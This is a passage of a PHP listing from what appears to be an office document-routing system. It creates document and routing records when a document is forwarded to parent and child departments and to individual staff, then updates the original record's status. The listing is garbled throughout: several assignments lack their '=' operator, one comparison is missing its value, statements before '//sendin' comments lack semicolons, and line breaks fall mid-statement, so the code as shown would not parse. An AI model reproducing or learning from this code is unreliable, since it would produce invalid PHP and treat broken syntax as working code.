$oRs2->DrsendDatePost=splitDateForm($DrsendDatePost,"/");
                            }else{
                                
$oRs2->DrsstartDatePost=$oRs4->DrsstartDatePost;
                                
$oRs2->DrsendDatePost=$oRs4->DrsendDatePost;
                                
                            }
                            
$checkflagCommit $oRs2->Save();
                            if(!
$checkflagCommit){ $flagCommit=$checkflagCommit;   }
                    }                    
                    
                    
//------send to balance dept----------------------
                    
$oDPt3->RSmenuByDeptParent2($oDPt2->deptId);
                    while(
$oDPt3->GetRecord()){
                            if(
$deptPs[$oDPt3->deptId]!=""){
                                
//echo "send to balance dept =".$oDPt3->deptName." pssend=".$deptPs[$oDPt3->deptId]." <br>";
                                    //--------------add documents
                                    
$oDoc->AddNew();
                                    
$oDoc->DocID=$oDoc->GetNextCode();
                                    
$oDoc->DocPID=$DocIDParent;
                                    
//echo "DocPID=".$oDoc->DocPID."<br>";
                                    
$oDoc->DlcID=$deptPs[$oDPt3->deptId];
                                    
//echo "DlcID=".$oDoc->DlcID."<br>";
                                    
$oDoc->PtID=$PtID;
                                    
//echo "PtID=".$oDoc->PtID."<br>";
                                    
$oDoc->DtID=$oDoc2->DtID
                                    
$oDoc->DslID=$oDoc2->DslID;
                                    
$oDoc->DclID=$oDoc2->DclID;
                                    
$oDoc->DsID="0";
                                    
$oDoc->RsID="3"//sendin
                                    
$oDoc->DocDateCreate=$timesend;
                                    
$DocDateCreate=$oDoc->DocDateCreate;
                                    
$oDoc->DocUserCreate=$deptPssend[$oDPt3->deptId];
                                    
//echo "DocUserCreate=".$oDoc->DocUserCreate."<br>";
                                    //$DocTypeNo=ShowRunningDoc($oDoc->RsID,$oDoc->DtID,$oDP2->deptId); 
                                    
$oDoc->DocTypeNo=$oDoc->DocTypeNo;
                                    
//echo "DocTypeNo=".$DocTypeNo."<br>";
                                    
$oDoc->DocDate=$oDoc2->DocDate;
                                    
$oDoc->DocNo=$oDoc2->DocNo;
                                    
$oDoc->DocSubject=$oDoc2->DocSubject;
                                    
$oDoc->DocFrom=$oDoc2->DocFrom;
                                    
$oDoc->DocTo=$oDoc2->DocTo;
                                    
$oDoc->DocShortDesc=$oDoc2->DocShortDesc;
                                    if(
$checkDocSpeedDate=="Y"){ $speedDate=splitDateForm($DocSpeedLevelDueDate,"/"); }else{ $speedDate=$oDoc->DocSpeedLevelDueDate; }
                                    
$oDoc->DocSpeedLevelDueDate=$speedDate;
                                    
//echo "speedDate=".$speedDate."<br>";
                                    
$oDoc->DocStart=$oDoc2->DocStart;
                                    
$oDoc->DocFinish=$oDoc2->DocFinish;
                                    
$oDoc->DocGroup=$oDoc2->DocGroup;
                                    
$oDoc->DocRef=$oDoc2->DocRef;
                                    
$oDoc->DocCircular=$oDoc2->DocCircular;
                                    
$oDoc->DocfCir=$oDoc2->DocfCir;
                                    
$oDoc->DocOther=$oDoc2->DocOther;
                                    
$oDoc->CertificatePs=$oDoc2->CertificatePs;
                                    
$oDoc->fDelete=$oDoc2->fDelete;
                                    
$oDoc->endDoc=$oDoc->endDoc;
                                    
$oDoc->sendToPs=$oDoc2->sendToPs;
                                    
$oDoc->AnID=$AnID;
                                    
$oDoc->DocRefAns=$oDoc2->DocRefAns;
                                    
$oDoc->DocRefAnsID=$oDoc2->DocRefAnsID;
                                    if(
$firstpost=="1" && ($AnID!="" && $AnID!="0")){
                                        
$oDoc->DocstartDatePost=splitDateForm($DrsstartDatePost,"/");
                                        
$oDoc->DocendDatePost=splitDateForm($DrsendDatePost,"/");
                                    }else{
                                        
$oDoc->DocstartDatePost=$oDoc2->DocstartDatePost;
                                        
$oDoc->DocendDatePost=$oDoc2->DocendDatePost;
                                        
                                    }
                                    
$oDoc->DocMainPost=$oDoc->DocMainPost;
                                    
$oDoc->DocGetPost=$oDoc->DocGetPost;
                                    
            
                                        if(
$DocShowIn=="1" && $DocShowOut=="2"){
                                            
$addDocShowInOut="3";
                                        }else{
                                            if(
$DocShowIn=="1"){
                                                
$addDocShowInOut=$DocShowIn;
                                            }else if(
$DocShowIn=="2"){
                                                
$addDocShowInOut=$DocShowIn;
                                            }
                                        }
            
                                    
                                    
$oDoc->DocShowInOut=$addDocShowInOut;
                                    
$oDoc->DocDateGetPost=$oDoc->DocDateGetPost;
                                    
$oDoc->useMainDocNo=$oDoc2->useMainDocNo;
                                    
$oDoc->DocforSign=$oDoc2->DocforSign;
                                    
$checkflagCommit $oDoc->Save();
                                    if(!
$checkflagCommit){ $flagCommit=$checkflagCommit;   }
                                    
//echo "end<br>";
                                    
$checkupdate++;
                                    
                                    
$oRs2->AddNew();
                                    
$oRs2->DrsID=$oRs2->GetNextCode();
                                    
//echo "DrsID=".$oRs2->DrsID."<br>";
                                    
$oRs2->DocID=$oDoc->DocID;
                                    
$oRs2->DlcID=$deptPs[$oDPt3->deptId];
                                    
$oRs2->DsID="0";
                                    
$oRs2->personId=$oRs2->personId;
                                    
$oRs2->PtID=$PtID;
                                    
//echo "PtID2=".$oRs2->PtID."<br>";
                                    
$oRs2->DrsDocTypeNo=$oRs2->DrsDocTypeNo;
                                    
$oRs2->DrsReceiveDate=$timesend;
                                    
$oDlc->SearchByKey($oDoc->DlcID); $oDlc->GetRecord(); 
                                    
$oRs2->DrsReceivePersonId='';
                                    
$oRs2->DrsSendDate=$oRs2->DrsSendDate;
                                    
$oRs2->DrsSendPersonId=$oRs2->DrsSendPersonId;
                                    
$oRs2->DrsSendDlcID=$oRs2->DrsSendDlcID;
                                    if(
$checkDocSpeedDate=="Y"){ $speedDate=splitDateForm($DocSpeedLevelDueDate,"/"); }else{ $speedDate=$DrsDocDueDate; }
                                    
$oRs2->DrsDocDueDate=$speedDate;
                                    
//echo "speedDate2=".$speedDate."<br>";
                                    
$oRs2->DrsDlcIDCreate=$DlcIDlogin;
                                    
$oRs2->DrsPsIDCreate=$personId;
                                    
$oRs2->DrsPropose=$DrsSend;
                                    
$oRs2->DrsSign="";
                                    
$oRs2->DrsFromDrsID=$oRs4->DrsID;
                                    
$oRs2->DocGroup=$DocGroup;
                                    
$oRs2->DrsflagRead=$oRs2->DrsflagRead;
                                    
$oRs2->DrsByPass=$oRs2->DrsByPass;
                                    
$oRs2->DrsSend=$oRs2->DrsSend;
                                    
$oRs2->DrsSendToPs=$oRs2->DrsSendToPs;
                                    
$oRs2->DrsDelete=$oRs2->DrsDelete;
                                    
$oRs2->DrsMainPs=$oRs2->DrsMainPs;
                                    
$oRs2->AnID=$AnID;
                                    
$oRs2->DrsDocReceiveDate=$oRs2->DrsDocReceiveDate;
                                    
$oRs2->DocRefAnsDate=$oRs2->DocRefAnsDate;
                                    
$oRs2->DrsSendDocNew=$oRs2->DrsSendDocNew;
                                    
$oRs2->DrsInboxID=$oRs2->DrsInboxID;
                                    if(
$firstpost=="1" && ($AnID!="" && $AnID!="0")){
                                        
$oRs2->DrsstartDatePost=splitDateForm($DrsstartDatePost,"/");
                                        
$oRs2->DrsendDatePost=splitDateForm($DrsendDatePost,"/");
                                    }else{
                                        
$oRs2->DrsstartDatePost=$oRs4->DrsstartDatePost;
                                        
$oRs2->DrsendDatePost=$oRs4->DrsendDatePost;
                                        
                                    }
                                    
$checkflagCommit $oRs2->Save();
                                    if(!
$checkflagCommit){ $flagCommit=$checkflagCommit;   }
                            }
                    
                            
//-----send to child deptId
                            
if($oDPt3->deptId==$oDPt->deptId){
                                
$oDPt4->RSmenuByDeptParent2($oDPt3->deptId);
                                while(
$oDPt4->GetRecord()){
                                    if(
$deptPs[$oDPt4->deptId]!=""){
                                        echo 
"send to child deptId =".$oDPt4->deptName." pssend=".$deptPs[$oDPt4->deptId]." <br>";
                                        
//--------------add documents
                                        
$oDoc->AddNew();
                                        
$oDoc->DocID=$oDoc->GetNextCode();
                                        
$oDoc->DocPID=$DocIDParent;
                                        
//echo "DocPID=".$oDoc->DocPID."<br>";
                                        
$oDoc->DlcID=$deptPs[$oDPt4->deptId];
                                        
//echo "DlcID=".$oDoc->DlcID."<br>";
                                        
$oDoc->PtID=$PtID;
                                        
//echo "PtID=".$oDoc->PtID."<br>";
                                        
$oDoc->DtID=$oDoc2->DtID
                                        
$oDoc->DslID=$oDoc2->DslID;
                                        
$oDoc->DclID=$oDoc2->DclID;
                                        
$oDoc->DsID="0";
                                        
$oDoc->RsID="3"//sendin
                                        
$oDoc->DocDateCreate=$timesend;
                                        
$DocDateCreate=$oDoc->DocDateCreate;
                                        
$oDoc->DocUserCreate=$deptPssend[$oDPt4->deptId];
                                        
//echo "DocUserCreate=".$oDoc->DocUserCreate."<br>";
                                        //$DocTypeNo=ShowRunningDoc($oDoc->RsID,$oDoc->DtID,$oDP2->deptId); 
                                        
$oDoc->DocTypeNo=$oDoc->DocTypeNo;
                                        
//echo "DocTypeNo=".$DocTypeNo."<br>";
                                        
$oDoc->DocDate=$oDoc2->DocDate;
                                        
$oDoc->DocNo=$oDoc2->DocNo;
                                        
$oDoc->DocSubject=$oDoc2->DocSubject;
                                        
$oDoc->DocFrom=$oDoc2->DocFrom;
                                        
$oDoc->DocTo=$oDoc2->DocTo;
                                        
$oDoc->DocShortDesc=$oDoc2->DocShortDesc;
                                        if(
$checkDocSpeedDate=="Y"){ $speedDate=splitDateForm($DocSpeedLevelDueDate,"/"); }else{ $speedDate=$oDoc->DocSpeedLevelDueDate; }
                                        
$oDoc->DocSpeedLevelDueDate=$speedDate;
                                        
//echo "speedDate=".$speedDate."<br>";
                                        
$oDoc->DocStart=$oDoc2->DocStart;
                                        
$oDoc->DocFinish=$oDoc2->DocFinish;
                                        
$oDoc->DocGroup=$oDoc2->DocGroup;
                                        
$oDoc->DocRef=$oDoc2->DocRef;
                                        
$oDoc->DocCircular=$oDoc2->DocCircular;
                                        
$oDoc->DocfCir=$oDoc2->DocfCir;
                                        
$oDoc->DocOther=$oDoc2->DocOther;
                                        
$oDoc->CertificatePs=$oDoc2->CertificatePs;
                                        
$oDoc->fDelete=$oDoc2->fDelete;
                                        
$oDoc->endDoc=$oDoc->endDoc;
                                        
$oDoc->sendToPs=$oDoc2->sendToPs;
                                        
$oDoc->AnID=$AnID;
                                        
$oDoc->DocRefAns=$oDoc2->DocRefAns;
                                        
$oDoc->DocRefAnsID=$oDoc2->DocRefAnsID;
                                        if(
$firstpost=="1" && ($AnID!="" && $AnID!="0")){
                                            
$oDoc->DocstartDatePost=splitDateForm($DrsstartDatePost,"/");
                                            
$oDoc->DocendDatePost=splitDateForm($DrsendDatePost,"/");
                                        }else{
                                            
$oDoc->DocstartDatePost=$oDoc2->DocstartDatePost;
                                            
$oDoc->DocendDatePost=$oDoc2->DocendDatePost;
                                            
                                        }
                                        
$oDoc->DocMainPost=$oDoc->DocMainPost;
                                        
$oDoc->DocGetPost=$oDoc->DocGetPost;
                                        
                
                                            if(
$DocShowIn=="1" && $DocShowOut=="2"){
                                                
$addDocShowInOut="3";
                                            }else{
                                                if(
$DocShowIn=="1"){
                                                    
$addDocShowInOut=$DocShowIn;
                                                }else if(
$DocShowIn=="2"){
                                                    
$addDocShowInOut=$DocShowIn;
                                                }
                                            }
                
                                        
                                        
$oDoc->DocShowInOut=$addDocShowInOut;
                                        
$oDoc->DocDateGetPost=$oDoc->DocDateGetPost;
                                        
$oDoc->useMainDocNo=$oDoc2->useMainDocNo;
                                        
$oDoc->DocforSign=$oDoc2->DocforSign;
                                        
$checkflagCommit $oDoc->Save();
                                        if(!
$checkflagCommit){ $flagCommit=$checkflagCommit;   }
                                        
//echo "end<br>";
                                        
$checkupdate++;
                                        
                                        
$oRs2->AddNew();
                                        
$oRs2->DrsID=$oRs2->GetNextCode();
                                        
//echo "DrsID=".$oRs2->DrsID."<br>";
                                        
$oRs2->DocID=$oDoc->DocID;
                                        
$oRs2->DlcID=$deptPs[$oDPt4->deptId];
                                        
$oRs2->DsID="0";
                                        
$oRs2->personId=$oRs2->personId;
                                        
$oRs2->PtID=$PtID;
                                        
//echo "PtID2=".$oRs2->PtID."<br>";
                                        
$oRs2->DrsDocTypeNo=$oRs2->DrsDocTypeNo;
                                        
$oRs2->DrsReceiveDate=$timesend;
                                        
$oDlc->SearchByKey($oDoc->DlcID); $oDlc->GetRecord(); 
                                        
$oRs2->DrsReceivePersonId='';
                                        
$oRs2->DrsSendDate=$oRs2->DrsSendDate;
                                        
$oRs2->DrsSendPersonId=$oRs2->DrsSendPersonId;
                                        
$oRs2->DrsSendDlcID=$oRs2->DrsSendDlcID;
                                        if(
$checkDocSpeedDate=="Y"){ $speedDate=splitDateForm($DocSpeedLevelDueDate,"/"); }else{ $speedDate=$DrsDocDueDate; }
                                        
$oRs2->DrsDocDueDate=$speedDate;
                                        
//echo "speedDate2=".$speedDate."<br>";
                                        
$oRs2->DrsDlcIDCreate=$DlcIDlogin;
                                        
$oRs2->DrsPsIDCreate=$personId;
                                        
$oRs2->DrsPropose=$DrsSend;
                                        
$oRs2->DrsSign="";
                                        
$oRs2->DrsFromDrsID=$oRs4->DrsID;
                                        
$oRs2->DocGroup=$DocGroup;
                                        
$oRs2->DrsflagRead=$oRs2->DrsflagRead;
                                        
$oRs2->DrsByPass=$oRs2->DrsByPass;
                                        
$oRs2->DrsSend=$oRs2->DrsSend;
                                        
$oRs2->DrsSendToPs=$oRs2->DrsSendToPs;
                                        
$oRs2->DrsDelete=$oRs2->DrsDelete;
                                        
$oRs2->DrsMainPs=$oRs2->DrsMainPs;
                                        
$oRs2->AnID=$AnID;
                                        
$oRs2->DrsDocReceiveDate=$oRs2->DrsDocReceiveDate;
                                        
$oRs2->DocRefAnsDate=$oRs2->DocRefAnsDate;
                                        
$oRs2->DrsSendDocNew=$oRs2->DrsSendDocNew;
                                        
$oRs2->DrsInboxID=$oRs2->DrsInboxID;
                                        if(
$firstpost=="1" && ($AnID!="" && $AnID!="0")){
                                            
$oRs2->DrsstartDatePost=splitDateForm($DrsstartDatePost,"/");
                                            
$oRs2->DrsendDatePost=splitDateForm($DrsendDatePost,"/");
                                        }else{
                                            
$oRs2->DrsstartDatePost=$oRs4->DrsstartDatePost;
                                            
$oRs2->DrsendDatePost=$oRs4->DrsendDatePost;
                                            
                                        }
                                        
$checkflagCommit $oRs2->Save();
                                        if(!
$checkflagCommit){ $flagCommit=$checkflagCommit;   }
                                  }
                                }
                            }
                    }            
                }
                          
        } 
//end
                    
        //-----------------send to person in dept----------------------------------
        
        
$oPS2->SearchByDeptId($deptId); 
        while(
$oPS2->GetRecord()){
            if(
$checkAllPs=="1"){ //send All ps in deptId
                    
$oRs1->AddNew();
                    
$oRs1->DrsID=$oRs1->GetNextCode();
                    
$oRs1->DocID=$DocID;
                    
$oRs1->DlcID="0";
                    
$oRs1->DsID=0;
                    
$oRs1->personId=$oPS2->personId;
                    
//echo "send All ps=".$oRs1->personId."<br>";
                    
$oRs1->PtID=$PtID;
                    
$oRs1->DrsDocTypeNo=$oRs4->DrsDocTypeNo;
                    
$oRs1->DrsReceiveDate=$timesend;
                    
$oRs1->DrsReceivePersonId=$oPS2->personId;
                    
$oRs1->DrsSendDate=$oRs1->DrsSendDate;
                    
$oRs1->DrsSendPersonId=$oRs1->DrsSendPersonId;
                    
$oRs1->DrsSendDlcID=$oRs1->DrsSendDlcID;
                    if(
$checkDocSpeedDate=="Y"){ $speedDate=splitDateForm($DocSpeedLevelDueDate,"/"); }else{ $speedDate=$DrsDocDueDate; }
                    
$oRs1->DrsDocDueDate=$speedDate;
                    
$oRs1->DrsDlcIDCreate=$DlcIDlogin;
                    
$oRs1->DrsPsIDCreate=$personId;
                    
$oRs1->DrsPropose=$DrsSend;
                    
$oRs1->DrsSign=$oRs1->DrsSign;
                    
$oRs1->DrsFromDrsID=$oRs4->DrsID;
                    
$oRs1->DocGroup=$DocGroup;
                    
$oRs1->DrsflagRead=$oRs1->DrsflagRead;
                    
$oRs1->DrsByPass=$oRs1->DrsByPass;
                    
$oRs1->DrsSend=$oRs1->DrsSend;
                    
$oRs1->DrsSendToPs=$oRs1->DrsSendToPs;
                    
$oRs1->DrsDelete=$oRs1->DrsDelete;
                    if(
$mainPsselect==$oPS2->personId && ($PtID!=&& $PtID!=2)){ $DrsMainPs="Y"; }else{ $DrsMainPs=""; }
                    
$oRs1->DrsMainPs=$DrsMainPs;
                    
//echo "DrsMainPs=".$DrsMainPs."<br>";
                    
$oRs1->AnID=$AnID;
                    
$oRs1->DrsDocReceiveDate=$oRs1->DrsDocReceiveDate;
                    
$oRs1->DocRefAnsDate=$oRs1->DocRefAnsDate;
                    
$oRs1->DrsSendDocNew=$oRs1->DrsSendDocNew;
                    
$oRs1->DrsInboxID=$oRs1->DrsInboxID;
                    if(
$firstpost=="1" && ($AnID!="" && $AnID!="0")){
                        
$oRs1->DrsstartDatePost=splitDateForm($DrsstartDatePost,"/");
                        
$oRs1->DrsendDatePost=splitDateForm($DrsendDatePost,"/");
                    }else{
                        
$oRs1->DrsstartDatePost=$oRs4->DrsstartDatePost;
                        
$oRs1->DrsendDatePost=$oRs4->DrsendDatePost;
                        
                    }
                    
$DrsReadDoc=GetDrsReadDoc($DocID);
                    
$oRs1->DrsReadDoc=$DrsReadDoc;
    
                        
$checkflagCommit $oRs1->Save();
                        if(!
$checkflagCommit){ $flagCommit=$checkflagCommit;   }
                    
$checkupdate2++;
            }else{ 
                if(
$Ps[$oPS2->personId]!="" || $mainPsselect==$oPS2->personId){
                    
//echo "addnew send to person in dept<br>";
                    
$oRs1->AddNew();
                    
$oRs1->DrsID=$oRs1->GetNextCode();
                    
$oRs1->DocID=$DocID;
                    
$oRs1->DlcID="0";
                    
$oRs1->DsID=0;
                    
$oRs1->personId=$oPS2->personId;
                    
//echo "send All ps=".$oRs1->personId."<br>";
                    
$oRs1->PtID=$PtID;
                    
$oRs1->DrsDocTypeNo=$oRs4->DrsDocTypeNo;
                    
$oRs1->DrsReceiveDate=$timesend;
                    
$oRs1->DrsReceivePersonId=$oPS2->personId;
                    
$oRs1->DrsSendDate=$oRs1->DrsSendDate;
                    
$oRs1->DrsSendPersonId=$oRs1->DrsSendPersonId;
                    
$oRs1->DrsSendDlcID=$oRs1->DrsSendDlcID;
                    if(
$checkDocSpeedDate=="Y"){ $speedDate=splitDateForm($DocSpeedLevelDueDate,"/"); }else{ $speedDate=$DrsDocDueDate; }
                    
$oRs1->DrsDocDueDate=$speedDate;
                    
$oRs1->DrsDlcIDCreate=$DlcIDlogin;
                    
$oRs1->DrsPsIDCreate=$personId;
                    
$oRs1->DrsPropose=$DrsSend;
                    
$oRs1->DrsSign=$oRs1->DrsSign;
                    
$oRs1->DrsFromDrsID=$oRs4->DrsID;
                    
$oRs1->DocGroup=$DocGroup;
                    
$oRs1->DrsflagRead=$oRs1->DrsflagRead;
                    
$oRs1->DrsByPass=$oRs1->DrsByPass;
                    
$oRs1->DrsSend=$oRs1->DrsSend;
                    
$oRs1->DrsSendToPs=$oRs1->DrsSendToPs;
                    
$oRs1->DrsDelete=$oRs1->DrsDelete;
                    if(
$mainPsselect==$oPS2->personId && ($PtID!=&& $PtID!=2)){ $DrsMainPs="Y"; }else{ $DrsMainPs=""; }
                    
$oRs1->DrsMainPs=$DrsMainPs;
                    
//echo "DrsMainPs=".$DrsMainPs."<br>";
                    
$oRs1->AnID=$AnID;
                    
$oRs1->DrsDocReceiveDate=$oRs1->DrsDocReceiveDate;
                    
$oRs1->DocRefAnsDate=$oRs1->DocRefAnsDate;
                    
$oRs1->DrsSendDocNew=$oRs1->DrsSendDocNew;
                    
$oRs1->DrsInboxID=$oRs1->DrsInboxID;
                    if(
$firstpost=="1" && ($AnID!="" && $AnID!="0")){
                        
$oRs1->DrsstartDatePost=splitDateForm($DrsstartDatePost,"/");
                        
$oRs1->DrsendDatePost=splitDateForm($DrsendDatePost,"/");
                    }else{
                        
$oRs1->DrsstartDatePost=$oRs4->DrsstartDatePost;
                        
$oRs1->DrsendDatePost=$oRs4->DrsendDatePost;
                        
                    }
                    
$DrsReadDoc=GetDrsReadDoc($DocID);
                    
$oRs1->DrsReadDoc=$DrsReadDoc;
                                        
                        
$checkflagCommit $oRs1->Save();
                        if(!
$checkflagCommit){ $flagCommit=$checkflagCommit;   }
                    
$checkupdate2++;
                }
            }    
        }
        
//--------------------------------------------send to psdept----------------------------------------
        
$oPSd->SearchBydeptId($deptId);
        while(
$oPSd->GetRecord()){        
                if(
$Ps[$oPSd->personId]!="" || $mainPsselect==$oPSd->personId){
                    
//echo "addnew send to person in dept<br>";
                    
$oRs1->AddNew();
                    
$oRs1->DrsID=$oRs1->GetNextCode();
                    
$oRs1->DocID=$DocID;
                    
$oRs1->DlcID="0";
                    
$oRs1->DsID=0;
                    
$oRs1->personId=$oPSd->personId;
                    
//echo "send All ps=".$oRs1->personId."<br>";
                    
$oRs1->PtID=$PtID;
                    
$oRs1->DrsDocTypeNo=$oRs4->DrsDocTypeNo;
                    
$oRs1->DrsReceiveDate=$timesend;
                    
$oRs1->DrsReceivePersonId=$oPSd->personId;
                    
$oRs1->DrsSendDate=$oRs1->DrsSendDate;
                    
$oRs1->DrsSendPersonId=$oRs1->DrsSendPersonId;
                    
$oRs1->DrsSendDlcID=$oRs1->DrsSendDlcID;
                    if(
$checkDocSpeedDate=="Y"){ $speedDate=splitDateForm($DocSpeedLevelDueDate,"/"); }else{ $speedDate=$DrsDocDueDate; }
                    
$oRs1->DrsDocDueDate=$speedDate;
                    
$oRs1->DrsDlcIDCreate=$DlcIDlogin;
                    
$oRs1->DrsPsIDCreate=$personId;
                    
$oRs1->DrsPropose=$DrsSend;
                    
$oRs1->DrsSign=$oRs1->DrsSign;
                    
$oRs1->DrsFromDrsID=$oRs4->DrsID;
                    
$oRs1->DocGroup=$DocGroup;
                    
$oRs1->DrsflagRead=$oRs1->DrsflagRead;
                    
$oRs1->DrsByPass=$oRs1->DrsByPass;
                    
$oRs1->DrsSend=$oRs1->DrsSend;
                    
$oRs1->DrsSendToPs=$oRs1->DrsSendToPs;
                    
$oRs1->DrsDelete=$oRs1->DrsDelete;
                    if(
$mainPsselect==$oPSd->personId && ($PtID!=&& $PtID!=2)){ $DrsMainPs="Y"; }else{ $DrsMainPs=""; }
                    
$oRs1->DrsMainPs=$DrsMainPs;
                    
//echo "DrsMainPs=".$DrsMainPs."<br>";
                    
$oRs1->AnID=$AnID;
                    
$oRs1->DrsDocReceiveDate=$oRs1->DrsDocReceiveDate;
                    
$oRs1->DocRefAnsDate=$oRs1->DocRefAnsDate;
                    
$oRs1->DrsSendDocNew=$oRs1->DrsSendDocNew;
                    
$oRs1->DrsInboxID=$oRs1->DrsInboxID;
                    if(
$firstpost=="1" && ($AnID!="" && $AnID!="0")){
                        
$oRs1->DrsstartDatePost=splitDateForm($DrsstartDatePost,"/");
                        
$oRs1->DrsendDatePost=splitDateForm($DrsendDatePost,"/");
                    }else{
                        
$oRs1->DrsstartDatePost=$oRs4->DrsstartDatePost;
                        
$oRs1->DrsendDatePost=$oRs4->DrsendDatePost;
                        
                    }
                    
$DrsReadDoc=GetDrsReadDoc($DocID);
                    
$oRs1->DrsReadDoc=$DrsReadDoc;
                                        
                    
$checkflagCommit $oRs1->Save();
                    if(!
$checkflagCommit){ $flagCommit=$checkflagCommit;   }
                    
$checkupdate2++;
                }
        }
        
        
        
//echo "1=".$checkupdate."2=".$checkupdate2."<br>";
        
if($checkupdate!="0" || $checkupdate2!="0"){
            
//------------------update  RSdoc status=3
                    
$oRs->SearchByKey($DrsID);
                    
//echo "update  RSdoc status=3<br>";
                    //echo "DrsID_edit=".$DrsID."<br>";
                    
$oRs->GetRecord();
                    
$oRs->Edit();
                    
$oRs->DrsID=$oRs->DrsID;
                    
$oRs->DocID=$oRs->DocID;
                    
$oRs->DlcID=$oRs->DlcID;
                    
$oRs->DsID=$oRs->DsID;
                    
$oRs->personId=$oRs->personId;
                    
$oRs->PtID=$PtID;
                    
$oRs->DrsDocTypeNo=$oRs->DrsDocTypeNo;
                    
$oRs->DrsReceiveDate=$oRs->DrsReceiveDate;
                    
$oRs->DrsReceivePersonId=$oRs->DrsReceivePersonId;
                    
$oRs->DrsSendDate=$timesend;
                    
//echo "DrsSendDate=".$oRs->DrsSendDate."<br>";
                    
$oRs->DrsSendPersonId=$oRs->DrsSendPersonId;
                    
$oRs->DrsSendDlcID=$oRs->DrsSendDlcID;
                    if(
$checkDocSpeedDate=="Y"){ $speedDate=splitDateForm($DocSpeedLevelDueDate,"/"); }else{ $speedDate=$DrsDocDueDate; }
                    
$oRs->DrsDocDueDate=$speedDate;
                    
$oRs->DrsDlcIDCreate=$oRs->DrsDlcIDCreate;
                    
$oRs->DrsPsIDCreate=$oRs->DrsPsIDCreate;
                    
$oRs->DrsPropose=$oRs->DrsPropose;
                    
$oRs->DrsSign=$oRs->DrsSign;
                    
$oRs->DrsFromDrsID=$oRs->DrsFromDrsID;
                    
$oRs->DocGroup=$oRs->DocGroup;
                    
$oRs->DrsflagRead=$oRs->DrsflagRead;
                    
$oRs->DrsByPass=$oRs->DrsByPass;
                    
$oRs->DrsSend=$oRs->DrsSend;
                    
$oRs->DrsSendToPs=$oRs->DrsSendToPs;
                    
$oRs->DrsDelete=$oRs->DrsDelete;
                    
$oRs->DrsMainPs=$oRs->DrsMainPs;
                    
$oRs->AnID=$AnID;
                    
$oRs->DrsDocReceiveDate=$oRs->DrsDocReceiveDate;
                    
$oRs->DocRefAnsDate=$oRs->DocRefAnsDate;
                    
$oRs->DrsSendDocNew=$oRs->DrsSendDocNew;
                    
$oRs->DrsInboxID=$oRs->DrsInboxID;
                    if(
$firstpost=="1" && ($AnID!="" && $AnID!="0")){
                        
$oRs->DrsstartDatePost=splitDateForm($DrsstartDatePost,"/");
                        
$oRs->DrsendDatePost=splitDateForm($DrsendDatePost,"/");
                    }else{
                        
$oRs->DrsstartDatePost=$oRs->DrsstartDatePost;
                        
$oRs->DrsendDatePost=$oRs->DrsendDatePost;
                        
                    }
                        
$checkflagCommit $oRs->Save();
                        if(!
$checkflagCommit){ $flagCommit=$checkflagCommit;   }
                    
                        
        } 
//checkupdate!=0
        
if($checkupdate!="0" || $checkupdate2!="0"){
                    
//echo "update  RSdoc status=3<br>";
                    
$oDoc3->SearchByKey($DocID);
                    
$oDoc3->GetRecord();
                    
$oDoc3->Edit();
                    
$oDoc3->DocID=$oDoc3->DocID;
                    
//echo "DocID=".$oDoc3->DocID."<br>";
                    
$oDoc3->DocPID=$oDoc3->DocPID;
                    
//echo "DocPID=".$oDoc3->DocPID."<br>";
                    
$oDoc3->DlcID=$oDoc3->DlcID;
                    
//echo "DlcID=".$oDoc3->DlcID."<br>";
                    
$oDoc3->PtID=$PtID;
                    
//echo "PtID=".$oDoc3->PtID."<br>";
                    
$oDoc3->DtID=$oDoc3->DtID
                    
//echo "DtID=".$oDoc3->DtID."<br>";
                    
$oDoc3->DslID=$oDoc3->DslID;
                    
//echo "DslID=".$oDoc3->DslID."<br>";
                    
$oDoc3->DclID=$oDoc3->DclID;
                    
//echo "DclID=".$oDoc3->DclID."<br>";
                    
$oDoc3->DsID=$oDoc3->DsID;
                    
//echo "DsID=".$oDoc3->DsID."<br>";
                    
$oDoc3->RsID=$oDoc3->RsID//sendin
                    //echo "RsID=".$oDoc3->RsID."<br>";
                    
$oDoc3->DocDateCreate=$oDoc3->DocDateCreate;
                    
//echo "DocDateCreate=".$oDoc3->DocDateCreate."<br>";
                    
$oDoc3->DocUserCreate=$oDoc3->DocUserCreate;
                    
//echo "DocUserCreate=".$oDoc3->DocUserCreate."<br>";
                    
$oDoc3->DocTypeNo=$oDoc3->DocTypeNo;
                    
//echo "DocTypeNo=".$oDoc3->DocTypeNo."<br>";
                    
$oDoc3->DocDate=$oDoc3->DocDate;
                    
//echo "DocDate=".$oDoc3->DocDate."<br>";
                    
$oDoc3->DocNo=$oDoc3->DocNo;
                    
//echo "DocNo=".$oDoc3->DocNo."<br>";
                    
$oDoc3->DocSubject=$oDoc3->DocSubject;
                    
//echo "DocSubject=".$oDoc3->DocSubject."<br>";
                    
$oDoc3->DocFrom=$oDoc3->DocFrom;
                    
//echo "DocFrom=".$oDoc3->DocFrom."<br>";
                    
$oDoc3->DocTo=$oDoc3->DocTo;
                    
//echo "DocTo=".$oDoc3->DocTo."<br>";
                    
$oDoc3->DocShortDesc=$oDoc3->DocShortDesc;
                    if(
$checkDocSpeedDate=="Y"){ $speedDate=splitDateForm($DocSpeedLevelDueDate,"/"); }else{ $speedDate=$oDoc3->DocSpeedLevelDueDate; }
                    
$oDoc3->DocSpeedLevelDueDate=$speedDate;
                    
//echo "DocSpeedLevelDueDate=".$oDoc3->DocSpeedLevelDueDate."<br>";
                    
$oDoc3->DocStart=$oDoc3->DocStart;
                    
//echo "DocStart=".$oDoc3->DocStart."<br>";
                    
$oDoc3->DocFinish=$oDoc3->DocFinish;
                    
//echo "DocFinish=".$oDoc3->DocFinish."<br>";
                    
$oDoc3->DocGroup=$oDoc3->DocGroup;
                    
//echo "DocGroup=".$oDoc3->DocGroup."<br>";
                    
$oDoc3->DocRef=$oDoc3->DocRef;
                    
//echo "DocRef=".$oDoc3->DocRef."<br>";
                    
$oDoc3->DocCircular=$oDoc3->DocCircular;
                    
//echo "DocCircular=".$oDoc2->DocCircular."<br>";
                    
$oDoc3->DocfCir=$oDoc3->DocfCir;
                    
//echo "DocfCir=".$oDoc3->DocfCir."<br>";
                    
$oDoc3->DocOther=$oDoc3->DocOther;
                    
//echo "DocOther=".$oDoc3->DocOther."<br>";
                    
$oDoc3->CertificatePs=$oDoc3->CertificatePs;
                    
//echo "CertificatePs=".$oDoc3->CertificatePs."<br>";
                    
$oDoc3->fDelete=$oDoc3->fDelete;
                    
//echo "fDelete=".$oDoc3->fDelete."<br>";
                    
$oDoc3->endDoc=$oDoc3->endDoc;
                    
